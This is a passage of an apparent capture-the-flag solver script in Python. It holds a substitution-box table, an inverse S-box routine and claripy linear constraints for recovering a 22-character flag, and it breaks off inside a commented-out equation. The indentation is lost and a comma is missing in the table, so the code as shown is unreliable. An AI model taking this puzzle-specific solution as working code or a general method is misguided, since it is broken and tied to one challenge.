0x93, 0x31, 0x65, 0x94, 0xF5, 0x37, 0x9E, 0x94, 0x53, 0xC8, 0xEC, 0xE3, 0x9A, 0x87, 0x8E,
0xE4, 0x1D, 0x49, 0x24, 0x7E, 0xDE, 0xE2, 0xFF, 0x6A, 0xD0, 0x55, 0x85, 0x56, 0xCC, 0xB1,
0x0F, 0xC1, 0x3F, 0x78, 0xC3, 0x64, 0xA7, 0xC4, 0x4C, 0xAD, 0x7F, 0xD3, 0xB3, 0xE7, 0x50,
0x62, 0xEA, 0x2C, 0xAC, 0x5A, 0x86, 0x5B, 0x5D, 0x6F, 0x46, 0xBA, 0x6E, 0xF8, 0x1A, 0xFE,
0xAF, 0xF4, 0xDF, 0xA1, 0x12, 0x3D, 0xD2, 0x32, 0x45, 0x9F, 0x21, 0xB8, 0x95, 0x6B, 0xED,
0xE5, 0x1E, 0x66, 0x96, 0x43, 0x06, 0xAB, 0x35, 0x3B, 0x9C, 0xC2, 0x05, 0xA9, 0x5C, 0x6D,
0x07, 0x34, 0xBC, 0x26, 0xA6, 0x37, 0x98, 0x93, 0x15, 0xDC, 0x0E, 0xF2, 0xCF, 0x60, 0x81,
0x2B, 0xB0, 0xCD, 0x80, 0x4D, 0x38, 0x72, 0xD9, 0xAE, 0xC6, 0xA2, 0xF7, 0x8C, 0x04, 0x71,
0x4B, 0x2E, 0xE9, 0xD8, 0x9B, 0xBF, 0x8B, 0x59, 0x2D, 0x33, 0x39, 0x77, 0x1C, 0xB9, 0xD7,
0x7C, 0x28, 0xF9, 0x7A, 0xA8, 0xE8, 0x11, 0x0D, 0x18, 0xF3, 0x4A, 0x10, 0x54, 0xD5, 0x3A,
0xFC, 0xCE, 0xFB, 0xE6, 0x44, 0xD4, 0x76, 0xA0, 0x09, 0x82, 0x00, 0x65, 0x47, 0x70, 0xA5,
0x58, 0x0C, 0xBD, 0xD1, 0x42, 0xA4, 0x5F, 0x67, 0x68, 0x2F, 0x61, 0x40, 0xA3, 0x75, 0x57,
0x7B, 0x0A, 0x63, 0xCA, 0x3E, 0x22, 0xF1, 0x52, 0xB6, 0x0B, 0xBE, 0xFA, 0xAA, 0x7D, 0x9D,
0xB5, 0x74, 0x20, 0x8F, 0x29, 0x13, 0xC7, 0x92, 0xB7, 0x73, 0x88, 0xD6, 0x14, 0x4F, 0x97,
0xE0, 0x91, 0x8D, 0xE1, 0xBB, 0xDA, 0xF6, 0xC0, 0xF0, 0x30, 0xB4, 0x1B, 0xDB, 0x90, 0xEB,
0x8A, 0x03, 0x36, 0x79, 0x89, 0x6C, 0x08, 0x31, 0x2A, 0x02, 0x5E, 0xEF, 0x01, 0x83, 0x41,
0x99, 0x84, 0xDD, 0x23, 0x27, 0x69, 0xF5, 0xC9, 0xB2, 0x51, 0x48, 0x4E, 0x9E, 0xCB, 0x3C,
0x25, 0xEE, 0x19, 0x17, 0x1F, 0xFD, 0x16, 0xC5, 0x22, 0xC2, 0x51, 0xF7, 0xC9, 0x79, 0xCD,
0xF0, 0xDC, 0x1F, 0x62, 0x70, 0x64, 0x9A, 0x95, 0x9D, 0xE8, 0x78, 0xFF, 0x5D, 0x4F, 0xE6,
0x7A, 0x72, 0x0B, 0x42, 0xBF, 0x8B, 0x93, 0x66, 0x38, 0xBB, 0xF2, 0x11, 0xEA, 0x7F, 0x49,
0xC7, 0x0A, 0x56, 0xE2, 0x9B, 0x68, 0x53, 0x15, 0xA1, 0xDA, 0xC3, 0xAB, 0xC8, 0xA5, 0x06,
0x32, 0xC6, 0x2A, 0xAC, 0xCF, 0x30, 0xD7, 0xBD, 0x80, 0xF6, 0x4B, 0xAE, 0x8A, 0xCC, 0x01,
0x88, 0x21, 0x0F, 0xA4, 0xDB, 0x96, 0x3F, 0x07, 0x4C, 0x86, 0x6E, 0x36, 0x59, 0x35, 0x08,
0x55, 0x9C, 0x2B, 0xA0, 0x67, 0xE3, 0x47, 0xA3, 0x44, 0xA2, 0xF8, 0x03, 0xCB, 0xC0, 0xF5,
0x02, 0xE1, 0x9E, 0x0D, 0x0C, 0x87, 0xB7, 0xFB, 0xB0, 0x8F, 0x63, 0xFE, 0x16, 0x7D, 0xE0,
0x17, 0xB2, 0x98, 0x28, 0xDD, 0x10, 0xFA, 0xB8, 0xD3, 0xCA, 0xD4, 0xA6, 0x8C, 0xB3, 0x18,
0x3B, 0xF1, 0xB6, 0x97, 0xF4, 0xC4, 0x54, 0x75, 0x6C, 0x50, 0xC5, 0xED, 0xD8, 0x52, 0x61,
0xAA, 0x13, 0xFC, 0x5C, 0x1B, 0x43, 0x7E, 0xDF, 0x46, 0x45, 0x58, 0x09, 0x39, 0xCE, 0x76,
0x7C, 0x4D, 0xF3, 0xEB, 0x1D, 0xEF, 0x12, 0x4E, 0x5B, 0x6D, 0x4A, 0x60, 0x9F, 0xD5, 0x25,
0x24, 0xEC, 0x0E, 0x05, 0x20, 0xB9, 0x00, 0xB4, 0x34, 0x65, 0xAF, 0xA9, 0xD6, 0x6A, 0x99,
0xBA, 0x2D, 0x6F, 0x31, 0x84, 0xEE, 0x29, 0x81, 0x74, 0xDE, 0xA8, 0x2C, 0x41, 0x57, 0x19,
0xE4, 0xE5, 0x3E, 0x3D, 0x5A, 0x3A, 0xAD, 0xD2, 0xBE, 0xBC, 0x6B, 0xD9, 0x33, 0x82, 0xA7,
0x92, 0xD0, 0x77, 0x2E, 0x1E, 0x89, 0x73, 0x1C, 0x14, 0x3C, 0x69, 0x23, 0x04, 0xE7, 0xF9,
0x90, 0x1A, 0x26, 0x8D, 0xB5, 0x40, 0x5E, 0x71, 0x5F, 0x83, 0x94, 0xFD, 0xE9, 0x8E, 0x7B,
0x37, 0x91, 0xB1, 0x27, 0xC1, 0x48, 0xD1, 0x2F, 0x85, 0x19, 0xCE, 0xC7, 0x80, 0x23, 0xE7,
0xDB, 0xB5, 0x9E, 0xF8, 0xC6, 0x89, 0x27, 0x63, 0xAA, 0x8E, 0xF5, 0x4C, 0x52, 0x77, 0x6D,
0xA5, 0xDF, 0xAE, 0x18, 0x38, 0x65, 0x9C, 0x0F, 0xF4, 0xA7, 0xAC, 0x8B, 0x0E, 0xFE, 0x58,
0x15, 0xA9, 0x8C, 0xC8, 0x3E, 0xDA, 0x2F, 0xC0, 0x64, 0x0A, 0x47, 0xA6, 0x6C, 0xFB, 0x35,
0xD7, 0x87, 0x9D, 0xF2, 0xA3, 0x49, 0x85, 0x86, 0xCF, 0xB4, 0x26, 0x74, 0x95, 0x66, 0x9F,
0xA1, 0x68, 0xE8, 0x96, 0x9B, 0x1A, 0x13, 0x1C, 0x51, 0xCA, 0xB0, 0xD8, 0x4A, 0x57, 0xDE,
0x5C, 0xF9, 0x0D, 0x36, 0x46, 0x98, 0xE6, 0xDC, 0xE9, 0x94, 0xE1, 0x7D, 0x33, 0x7C, 0x4E,
0x45, 0x7F, 0xEB, 0x12, 0xBC, 0xD1, 0xA2, 0x41, 0x8A, 0xA8, 0x05, 0x2D, 0xE0, 0x7B, 0xDD,
0x1F, 0xB8, 0xBF, 0x5D, 0x93, 0x01, 0xAF, 0x17, 0xAB, 0x09, 0xB7, 0xA0, 0x02, 0x4F, 0x40,
0xC3, 0x70, 0xF7, 0x20, 0x56, 0xF0, 0xBB, 0x90, 0x5F, 0xE2, 0x24, 0xE5, 0xED, 0x08, 0x50,
0x7A, 0x00, 0x3C, 0x84, 0x2B, 0x1D, 0x9A, 0x11, 0x53, 0x34, 0x54, 0xB3, 0x4D, 0xFF, 0x62,
0x2C, 0xC9, 0xF6, 0x06, 0xCD, 0xA4, 0xB2, 0x5B, 0xEE, 0x28, 0xF3, 0x83, 0x8F, 0xFA, 0x1E,
0x6A, 0xD3, 0x16, 0x97, 0x79, 0x2A, 0xC4, 0x21, 0xD9, 0xE3, 0x6E, 0xB1, 0xB6, 0x73, 0x4B,
0x6F, 0xB9, 0x25, 0x30, 0xC5, 0xC1, 0x0B, 0xD5, 0x22, 0x0C, 0xFD, 0x75, 0xD2, 0x55, 0x32,
0x37, 0x14, 0x60, 0xBE, 0x48, 0x31, 0x3D, 0x6B, 0x07, 0xD0, 0xE4, 0x03, 0xEF, 0x5A, 0x78,
0xF1, 0x5E, 0x7E, 0xD4, 0x3A, 0xBA, 0x91, 0x3B, 0xCC, 0x88, 0x44, 0x59, 0x69, 0xD6, 0xFC,
0x2E, 0x82, 0x8D, 0x1B, 0x10, 0x81, 0x72, 0xAD, 0x04, 0x67, 0xBD, 0xEA, 0x39, 0x99, 0x42,
0x76, 0x29, 0x92, 0x61, 0x3F, 0x71, 0xC2, 0x43, 0xEC, 0xCB, 0x2A, 0x2F, 0x67, 0x4B, 0xB9,
0x0E, 0xE8, 0x74, 0xC3, 0x4A, 0x23, 0x13, 0x19, 0xDE, 0x26, 0xEA, 0x66, 0xBA, 0xAB, 0x09,
0x97, 0x2D, 0x42, 0xA8, 0x2E, 0x1F, 0x54, 0xEC, 0x22, 0x69, 0x27, 0xDC, 0x5A, 0x0C, 0x90,
0xA9, 0x7C, 0x20, 0xB1, 0x0D, 0xCD, 0x03, 0x8A, 0xD6, 0x79, 0xE6, 0x35, 0xB6, 0x18, 0x96,
0x06, 0x08, 0xA5, 0xAD, 0xB8, 0x61, 0x5B, 0x1E, 0x0B, 0xF2, 0x8D, 0x36, 0xCA, 0x59, 0xE3,
0xC6, 0x39, 0x95, 0x8C, 0xFB, 0xCF, 0x6C, 0x51, 0x6D, 0x10, 0x01, 0x91, 0x68, 0x6E, 0xBB,
0x2B, 0x8E, 0x29, 0x64, 0xBD, 0xF1, 0xAC, 0xC1, 0x9A, 0x70, 0x5D, 0x02, 0xC8, 0xD5, 0x38,
0xAE, 0xE4, 0xB7, 0xDD, 0x55, 0xFA, 0xB4, 0x9E, 0xF7, 0xC4, 0x40, 0xE1, 0x73, 0xCB, 0x92,
0xD8, 0xEE, 0x6F, 0x6A, 0x1D, 0xC0, 0x71, 0x4D, 0x15, 0x1B, 0x45, 0x43, 0xA1, 0x3F, 0x9D,
0xBF, 0x7E, 0x7A, 0x5E, 0x25, 0x9F, 0x93, 0xAA, 0xE7, 0x14, 0x1A, 0x28, 0x99, 0x3D, 0xFD,
0xF0, 0x98, 0xEF, 0x3E, 0xD2, 0xD7, 0xAF, 0x17, 0x88, 0xFF, 0x12, 0x9C, 0x0F, 0x89, 0x05,
0x50, 0xED, 0xA2, 0xB0, 0x52, 0x21, 0xFC, 0x7D, 0x82, 0xB2, 0x8B, 0x83, 0xEB, 0x4F, 0x60,
0xF6, 0x47, 0x57, 0xC7, 0xCC, 0xF5, 0x72, 0x86, 0x41, 0xF3, 0x1C, 0xA0, 0x75, 0xBE, 0xC2,
0x53, 0xFE, 0x04, 0x63, 0xCE, 0x37, 0x3C, 0x6B, 0xD9, 0x9B, 0xDF, 0xA6, 0x24, 0x34, 0x78,
0x81, 0x0A, 0xF8, 0x11, 0x80, 0x44, 0xD3, 0xDA, 0x5C, 0xB3, 0x85, 0x16, 0x30, 0x3B, 0x4C,
0xC9, 0x94, 0xD0, 0x3A, 0xDB, 0x33, 0xB5, 0x76, 0xE5, 0x87, 0x46, 0x07, 0xE9, 0x2C, 0xA3,
0x32, 0xA4, 0x00, 0xE2, 0x58, 0xBC, 0x49, 0x7B, 0x5F, 0x84, 0x31, 0xD1, 0x62, 0xF9, 0x65,
0x7F, 0x8F, 0x56, 0x77, 0x48, 0xE0, 0xF4, 0xA7, 0x4E, 0xC5, 0xD4, 0x76, 0x49, 0x26, 0x0C,
0xD3, 0xCE, 0xC8, 0x9E, 0x01, 0x71, 0xDC, 0x5B, 0xA6, 0x8E, 0xCA, 0x6E, 0xAA, 0xEB, 0x24,
0xC0, 0x50, 0x79, 0x44, 0x56, 0xAC, 0x95, 0x38, 0x12, 0x92, 0x74, 0xFE, 0x46, 0x1D, 0x2D,
0xB3, 0xA4, 0xC5, 0xFD, 0x9F, 0x1B, 0xB2, 0x87, 0x1E, 0x86, 0x81, 0x23, 0x3E, 0x19, 0xB4,
0x67, 0x75, 0x8B, 0x9B, 0xE0, 0x00, 0x3B, 0xF4, 0x31, 0xE4, 0xC7, 0x05, 0xEA, 0xA1, 0x7B,
0x82, 0x3D, 0x35, 0x54, 0x97, 0xD9, 0x0A, 0xBD, 0x8F, 0x40, 0xED, 0xF8, 0xEF, 0x7C, 0x4F,
0xA7, 0x68, 0xA0, 0xB6, 0x11, 0xBB, 0x60, 0x59, 0xA5, 0xE7, 0x77, 0xDA, 0x53, 0x83, 0xD2,
0x9D, 0x18, 0x17, 0x99, 0x57, 0x41, 0xCF, 0x5D, 0xD1, 0x5E, 0x9C, 0xEC, 0xFB, 0xB9, 0x9A,
0xD0, 0x98, 0xB0, 0xC6, 0x21, 0xB1, 0x91, 0xC1, 0xF7, 0x72, 0xAB, 0x70, 0x34, 0x51, 0xF6,
0x6B, 0xDB, 0x28, 0x4A, 0xF5, 0xB8, 0x90, 0xCB, 0x2A, 0x09, 0x7D, 0x80, 0xC3, 0x61, 0x48,
0xB7, 0x2E, 0xAE, 0x36, 0xD5, 0xA8, 0x5C, 0xD8, 0x22, 0x07, 0x39, 0x8D, 0x65, 0x16, 0x8A,
0x10, 0x66, 0x6D, 0x3F, 0xF1, 0xF2, 0x64, 0x20, 0xE6, 0x2B, 0x43, 0xF0, 0xDE, 0x1F, 0x93,
0xFF, 0x84, 0x06, 0x63, 0x30, 0xBF, 0xAD, 0x7E, 0x4C, 0x85, 0x02, 0xBA, 0xE5, 0x4D, 0x14,
0x4B, 0x04, 0x3A, 0x89, 0x0B, 0xEE, 0x4E, 0xD4, 0xC4, 0x15, 0x6A, 0x58, 0xB5, 0xCD, 0x55,
0x5A, 0x94, 0x52, 0xFC, 0x7A, 0x73, 0x96, 0x5F, 0x1C, 0x88, 0x6C, 0x37, 0xA9, 0x25, 0xA2,
0xDF, 0xE2, 0xDD, 0xFA, 0xD7, 0xCC, 0x0F, 0xAF, 0x69, 0x27, 0xC9, 0x7F, 0x08, 0x32, 0x45,
0x6F, 0xA3, 0x0E, 0x47, 0x2F, 0xC2, 0xE3, 0xBE, 0xF9, 0x29, 0xBC, 0x3C, 0xE1, 0x42, 0xD6,
0x03, 0x8C, 0xE9, 0x62, 0xF3, 0xE8, 0x33, 0x0D, 0x2C, 0x78, 0x13, 0x1A, 0xF0, 0xF7, 0xDC,
0x60, 0x75, 0xB0, 0x86, 0x0E, 0xAD, 0xB6, 0x71, 0x62, 0x77, 0x23, 0xFD, 0x9C, 0xAE, 0x7A,
0x97, 0x76, 0x82, 0xFC, 0xBA, 0x17, 0x89, 0xA0, 0x01, 0x31, 0x78, 0x91, 0x04, 0x9B, 0xA3,
0xEA, 0x42, 0x19, 0x83, 0xD5, 0xD0, 0xD2, 0x5E, 0xF5, 0x0B, 0xF3, 0x7E, 0x27, 0xE9, 0x73,
0x26, 0xF6, 0x8A, 0x99, 0xB1, 0x8D, 0x7C, 0x1F, 0x2B, 0x9F, 0x2E, 0x9E, 0x07, 0xF9, 0xBF,
0x57, 0x8B, 0xE6, 0x9D, 0x13, 0x94, 0xF2, 0x67, 0x69, 0x05, 0xC0, 0x64, 0xBE, 0xFE, 0xEC,
0xD9, 0x65, 0x2C, 0x15, 0xAF, 0x38, 0x09, 0xA9, 0x10, 0xCD, 0x53, 0x8F, 0x37, 0x63, 0xB5,
0xC4, 0xC8, 0xCC, 0x29, 0x49, 0x43, 0xDF, 0x6C, 0x5A, 0xF8, 0x47, 0x1B, 0xE1, 0xEB, 0x8E,
0x70, 0x45, 0x59, 0xAA, 0x03, 0x18, 0x34, 0xC7, 0x39, 0xD8, 0x7F, 0x54, 0x3D, 0x8C, 0xB8,
0x16, 0x7D, 0xFF, 0xB4, 0xD3, 0xE7, 0x90, 0xA4, 0x0C, 0x80, 0x50, 0x25, 0x6B, 0x3E, 0xBC,
0xC1, 0xDA, 0xCA, 0xE0, 0xAC, 0x3A, 0x5D, 0x21, 0xA2, 0x81, 0xD1, 0x08, 0x33, 0x93, 0xDD,
0x06, 0xAB, 0x35, 0xA5, 0x00, 0x1A, 0xED, 0x55, 0xEF, 0x98, 0x4C, 0xB7, 0x7B, 0x61, 0x2F,
0x85, 0xE8, 0x87, 0x5C, 0x0D, 0x24, 0x0F, 0xCE, 0x6F, 0xD6, 0x66, 0x4F, 0xDB, 0x5B, 0x1C,
0x46, 0xDE, 0x79, 0x44, 0x5F, 0xC3, 0x4A, 0x6A, 0xF4, 0x56, 0x6D, 0xEE, 0xBD, 0x41, 0x28,
0xC6, 0x3B, 0x30, 0xCF, 0x74, 0x32, 0x1E, 0x0A, 0xFB, 0x20, 0xB2, 0x40, 0x48, 0xF1, 0x22,
0xE4, 0x52, 0x96, 0x2A, 0xFA, 0x72, 0x84, 0x3F, 0x14, 0xA8, 0x9A, 0xA1, 0xBB, 0x36, 0xB9,
0xA7, 0x95, 0xC9, 0x6E, 0x2D, 0xD4, 0xC2, 0xE5, 0x88, 0xD7, 0x68, 0x4E, 0xCB, 0x58, 0xB3,
0x3C, 0x11, 0x12, 0xE2, 0x51, 0x4D, 0x4B, 0xE3, 0xA6, 0x02, 0xC5, 0x1D, 0x92, 0xC1, 0xB1,
0xE9, 0x30, 0x6B, 0xB7, 0xFC, 0x2F, 0x65, 0x8A, 0x31, 0x63, 0x56, 0x80, 0xF5, 0x7B, 0xF0,
0xA1, 0x42, 0xCA, 0x27, 0xA6, 0x0A, 0x3D, 0x59, 0xB2, 0x76, 0x08, 0xDE, 0xC2, 0x33, 0xEB,
0x6F, 0xCB, 0x21, 0x40, 0xD5, 0x5D, 0x4E, 0x60, 0x44, 0x9E, 0x46, 0x4D, 0x8F, 0xE4, 0x8D,
0x15, 0xCF, 0x68, 0x5E, 0xE6, 0xE7, 0x90, 0x86, 0x55, 0xB5, 0x8C, 0xDC, 0x67, 0x91, 0xFF,
0x48, 0x6A, 0x6D, 0x1F, 0x14, 0x89, 0x39, 0x05, 0x0E, 0x82, 0x41, 0xE0, 0x20, 0xF9, 0xCC
0xEC, 0xE1, 0x8B, 0x97, 0xFE, 0x3C, 0x6E, 0xB0, 0xBD, 0x22, 0x1E, 0xFA, 0x4B, 0x04, 0x73,
0xFD, 0xD6, 0x07, 0x9F, 0x3E, 0x99, 0x2E, 0xED, 0x95, 0x7C, 0x35, 0xC3, 0x77, 0xAA, 0x87,
0xD1, 0x01, 0x78, 0x3A, 0xA8, 0xC4, 0xBF, 0x53, 0xFB, 0x5A, 0x2B, 0xD4, 0x45, 0xAC, 0xA0,
0xCE, 0xBC, 0x50, 0x1C, 0xF7, 0xC8, 0x4A, 0xBE, 0x23, 0x0D, 0xDD, 0xB8, 0xF2, 0x12, 0xDF,
0x28, 0x69, 0x9A, 0xB3, 0x54, 0xE2, 0xF1, 0x92, 0xE3, 0x36, 0xF3, 0x25, 0xA3, 0xE8, 0x1A,
0x19, 0x37, 0x9D, 0x02, 0x38, 0xA9, 0xE5, 0x3F, 0xDB, 0xC6, 0xB6, 0x57, 0xB9, 0x5B, 0x84,
0xAD, 0xA4, 0x0F, 0x26, 0x49, 0xDA, 0x18, 0x00, 0x2D, 0xC5, 0xD7, 0xAF, 0x93, 0xC7, 0x3B,
0x11, 0x13, 0x32, 0x94, 0xAE, 0x10, 0x51, 0x0C, 0xD9, 0x7F, 0x24, 0x43, 0x7D, 0x8E, 0xAB,
0x98, 0x75, 0xD8, 0x71, 0xEA, 0x09, 0x96, 0x29, 0xF8, 0xEE, 0x81, 0x6C, 0xD3, 0x62, 0x7A,
0xC9, 0x88, 0xD2, 0x66, 0x64, 0x5F, 0x0B, 0xEF, 0xA7, 0xA5, 0x79, 0x9B, 0x2A, 0x52, 0x58,
0xA2, 0x47, 0x4F, 0x4C, 0x5C, 0x2C, 0x72, 0xCD, 0xC0, 0x70, 0x85, 0x61, 0x1D, 0x74, 0xD0,
0xBB, 0x9C, 0x34, 0x7E, 0x03, 0xBA, 0x17, 0xF4, 0x16, 0xB4, 0xF6, 0x83, 0x06, 0x1B, 0x9E,
0x54, 0xDC, 0x3F, 0x12, 0xF4, 0x72, 0x22, 0xA0, 0x43, 0xE1, 0xB5, 0xD6, 0xE8, 0xEE, 0x0C,
0xBD, 0xA3, 0xCE, 0x9D, 0xEA, 0x3A, 0xD4, 0x29, 0x1C, 0xF1, 0x5D, 0x64, 0x53, 0xB7, 0xFE,
0x0B, 0x84, 0x13, 0x14, 0x03, 0xE5, 0x57, 0x68, 0x17, 0xDB, 0x86, 0xB4, 0x0F, 0x45, 0x34,
0x2A, 0x69, 0xE0, 0x4B, 0xD8, 0x0D, 0x42, 0xB8, 0x6B, 0x5B, 0xEB, 0x06, 0xF7, 0x81, 0x27,
0xB6, 0xA6, 0x0A, 0x6D, 0x9A, 0xA4, 0x44, 0x11, 0x8F, 0x31, 0x59, 0x62, 0x41, 0x32, 0x07,
0x93, 0x30, 0x1B, 0x89, 0x3B, 0x23, 0x76, 0xC6, 0xE2, 0x38, 0x65, 0xC0, 0xC2, 0xB1, 0xFB,
0x58, 0x67, 0xCB, 0x94, 0x50, 0x1D, 0x4F, 0x92, 0xF0, 0x77, 0xBF, 0x4E, 0x49, 0xD9, 0xCA,
0x9C, 0x1F, 0x8C, 0xD0, 0x6A, 0x8D, 0x10, 0x40, 0x5C, 0x00, 0xC1, 0xDD, 0x51, 0xFA, 0xAF,
0xC9, 0xA2, 0x2F, 0x33, 0x82, 0xA1, 0xE3, 0xA7, 0x7F, 0x04, 0x56, 0xB0, 0xF2, 0x21, 0x09,
0x55, 0x80, 0x61, 0xDA, 0xBA, 0x18, 0xA8, 0x8E, 0x16, 0x4C, 0xB2, 0x28, 0x7D, 0x5A, 0xAD,
0xAB, 0x3C, 0x75, 0xCD, 0x9F, 0xD2, 0xC3, 0x6C, 0x4D, 0x48, 0xDE, 0x91, 0xBC, 0x66, 0xA9,
0xC4, 0x71, 0xF6, 0x6E, 0x37, 0x79, 0x08, 0xF5, 0x1E, 0xD5, 0xE4, 0xF3, 0xCC, 0xD7, 0x35,
0xEF, 0x2D, 0xB3, 0x15, 0x4A, 0x36, 0x26, 0x19, 0xB9, 0x90, 0x0E, 0x70, 0xF8, 0x3D, 0x7E,
0x97, 0x99, 0xAA, 0x2E, 0x2C, 0x9B, 0x47, 0x25, 0x52, 0x3E, 0xC7, 0x88, 0x7A, 0x8A, 0xD1,
0xAC, 0xE7, 0x05, 0x20, 0x63, 0xDF, 0x60, 0x24, 0xCF, 0x78, 0x02, 0x74, 0xAE, 0xF9, 0xC8,
0x46, 0x98, 0x87, 0x39, 0x5F, 0x83, 0x8B, 0xE6, 0xD3, 0x85, 0xE9, 0xEC, 0x7B, 0x01, 0x1A,
0xA5, 0x7C, 0x95, 0x73, 0x5E, 0xFF, 0xFC, 0xBE, 0x96, 0xFD, 0xED, 0x6F, 0x2B, 0xC5, 0xBB,
0x17, 0x27, 0x58, 0x39, 0x7D, 0xF0, 0x13, 0xD0, 0xA6, 0xE1, 0xBB, 0xB9, 0x00, 0x96, 0x9D,
0x01, 0xCF, 0x18, 0x70, 0xAB, 0x56, 0xE2, 0x5B, 0x1C, 0xF9, 0x6E, 0x49, 0xE8, 0xF5, 0xAC,
0xDB, 0x03, 0x59, 0x5C, 0xAD, 0x0E, 0xA0, 0xC2, 0xDE, 0x5F, 0x69, 0x33, 0x0D, 0xE4, 0x74,
0xB1, 0x7E, 0xAF, 0x24, 0x61, 0x04, 0x88, 0x77, 0x3C, 0x2C, 0x3B, 0xA9, 0xB6, 0xD8, 0x82,
0xA2, 0x37, 0x30, 0xC0, 0xD3, 0x06, 0x7C, 0x2A, 0xBA, 0xAA, 0x19, 0x0A, 0x55, 0x78, 0x8D,
0x54, 0x72, 0x93, 0x20, 0xFC, 0x22, 0xF2, 0x1A, 0x8A, 0x92, 0x94, 0x6F, 0x15, 0xB4, 0x02,
0x42, 0x09, 0x2F, 0x26, 0xCC, 0xD4, 0xB7, 0x5D, 0xD7, 0x83, 0xBC, 0x9E, 0xE7, 0x4F, 0x7B,
0x9B, 0xF4, 0x46, 0x6B, 0x95, 0x36, 0x1B, 0xC6, 0xBE, 0x34, 0x2B, 0x4D, 0x25, 0x62, 0xD2,
0xE3, 0x29, 0xE6, 0x08, 0x4E, 0x71, 0x4C, 0xDA, 0xEC, 0x41, 0xDC, 0xC3, 0x51, 0x4A, 0xC8,
0x6C, 0x66, 0xEE, 0x86, 0xEB, 0xF8, 0x0B, 0xCD, 0xD6, 0x68, 0x10, 0x85, 0x14, 0x28, 0x7A,
0x60, 0x2D, 0xCB, 0xED, 0x52, 0x67, 0x84, 0x38, 0x0F, 0x89, 0x11, 0x91, 0x23, 0xBF, 0xAE,
0xBD, 0xB2, 0x1F, 0x7F, 0x99, 0x79, 0x65, 0x21, 0x1D, 0x73, 0x8E, 0x45, 0xA8, 0xF7, 0xC5,
0x6A, 0x35, 0x57, 0x32, 0x8B, 0x47, 0xC7, 0x48, 0xB8, 0x43, 0x8F, 0x98, 0xC4, 0xFA, 0xDD,
0x76, 0x0C, 0x05, 0xFF, 0xD9, 0xC1, 0xB0, 0x97, 0xD5, 0x16, 0xFD, 0xD1, 0xF3, 0x9C, 0x64,
0xB5, 0x07, 0xA4, 0x2E, 0x5E, 0x12, 0x75, 0xFE, 0x44, 0xF6, 0x1E, 0x8C, 0x80, 0xA3, 0x6D,
0xE5, 0x90, 0xB3, 0xE0, 0x3D, 0xCA, 0xEA, 0xA5, 0xC9, 0xCE, 0xA1, 0xEF, 0x53, 0xFB, 0xF1,
0x50, 0x5A, 0xE9, 0x31, 0x9F, 0x3E, 0x63, 0x9A, 0x3F, 0x87, 0x3A, 0xDF, 0x81, 0x40, 0xA7,
0x4B]
inv_sbox = [0]*0x100
def do_subs(x):
for i in [25, 21, 16, 27 , 4, 10, 23, 7]:
x = sbox[i*0x100+x]
return x
def gen_inv_sbox():
input_data = list(range(0x100))
for j in range(0x100):
input_data[j] = do_subs(input_data[j])
# print(input_data)
for i in range(0x100):
inv_sbox[i] = input_data.index(i)
gen_inv_sbox()
flag = [claripy.BVS('', 32) for i in range(22)]
solve = claripy.Solver()
for i in range(len(flag)):
solve.add(flag[i] >= 0)
solve.add(flag[i] < 0x100)
solve.add(159947*flag[0]-17274276==0)
solve.add(4294891102*flag[1]-288728*flag[0]+36973368==0)
solve.add(-247146*flag[1]-291401*flag[0]-166371*flag[2]+75709167==0)
solve.add(-1741*flag[1]+218084*flag[3]+280814*flag[0]-149372*flag[2]-33947928==0)
solve.add(174323*flag[3]+136024*flag[2]-141923*flag[1]-
301049*flag[4]+323059*flag[0]-53238195==0)
solve.add(-12269*flag[3]+286713*flag[1]-78320*flag[0]+301362*flag[2]+269836*flag[5]-
255324*flag[4]-99312448==0)
solve.add(-103798*flag[2]+201146*flag[5]-285406*flag[3]-188094*flag[4]-
104025*flag[0]-50098*flag[1]-109789*flag[6]+50727897==0)
solve.add(117443*flag[7]+275692*flag[3]+349275*flag[1]-
381943*flag[2]+332376*flag[4]-269146*flag[5]+222994*flag[6]-
267344*flag[0]+9817748==0)
solve.add(19156*flag[6]+-281586*flag[7]-168850*flag[0]+363716*flag[3]-
32886*flag[1]+44299*flag[4]+170590*flag[8]+81061*flag[5]+201865*flag[2]-
32987442==0)
solve.add(22459*flag[6]+-80349*flag[1]+239015*flag[5]-42367*flag[9]-113712*flag[7]-
146568*flag[2]+241696*flag[3]+232212*flag[0]-162511*flag[8]+61621*flag[4]-
41031017==0)
solve.add(-1754*flag[0]+128062*flag[7]-329492*flag[3]-167316*flag[2]-
178991*flag[4]+186377*flag[10]+307270*flag[6]-
328477*flag[8]+248665*flag[1]+374863*flag[9]+373711*flag[5]-86829517==0)
solve.add(11843*flag[5]+17087*flag[3]-35818*flag[0]-182330*flag[7]-354816*flag[4]-
126036*flag[2]+114656*flag[8]-90442*flag[9]+330888*flag[11]+78226*flag[10]-
260641*flag[1]+105414*flag[6]+63250156==0)
solve.add(7469*flag[9]+6283*flag[11]+-
87345*flag[2]+248111*flag[5]+213581*flag[4]+89194*flag[8]+36305*flag[6]+98667*flag[
1]+300755*flag[12]+191415*flag[7]+350540*flag[0]+359565*flag[10]-185365*flag[3]-
165783260==0)
solve.add(8209*flag[8]+131781*flag[1]+152898*flag[0]+40158*flag[11]-86271*flag[12]-
105755*flag[6]+264037*flag[3]-130948*flag[10]-243572*flag[7]-48159*flag[2]-
269443*flag[9]-376534*flag[5]-67954*flag[4]-119669*flag[13]+117580744==0)
solve.add(-3429*flag[6]+102230*flag[5]+126967*flag[10]-344174*flag[8]-
225911*flag[11]+118364*flag[14]-72044*flag[1]+280519*flag[0]-241789*flag[2]-
274918*flag[9]-91055*flag[12]-122403*flag[3]+118907*flag[7]-
34240*flag[13]+240524*flag[4]+35507568==0)
solve.add(-24137*flag[9]+28203*flag[13]+150213*flag[1]+311204*flag[0]-
94750*flag[7]+130029*flag[2]-305057*flag[14]+176246*flag[5]-256662*flag[8]-
331010*flag[12]-301118*flag[4]-309379*flag[10]+187867*flag[3]-102250*flag[11]-
340412*flag[15]+144084*flag[6]+39635710==0)
solve.add(-27445*flag[12]+-289483*flag[10]-164045*flag[16]-
218276*flag[1]+183266*flag[3]-311967*flag[8]-55127*flag[14]-211824*flag[13]-
375628*flag[9]-201931*flag[0]-324618*flag[4]+52026*flag[6]+93926*flag[5]-
105199*flag[7]-254102*flag[15]-159881*flag[11]+378091*flag[2]+106013500==0)
# solve.add(
# 27619 * flag[4]
# + 9873 * flag[1]
# + -23276 * flag[8]
# + -196254 * flag[9]
# + 181235 * flag[0]
# + 150865 * flag[16]
# - 148807 * flag[14]
# - 272020 * flag[17]
# - 346803 * flag[2]
# - (flag[3] | (flag[3] << 16 == 0) == 0)
# + 132879 * flag[10]
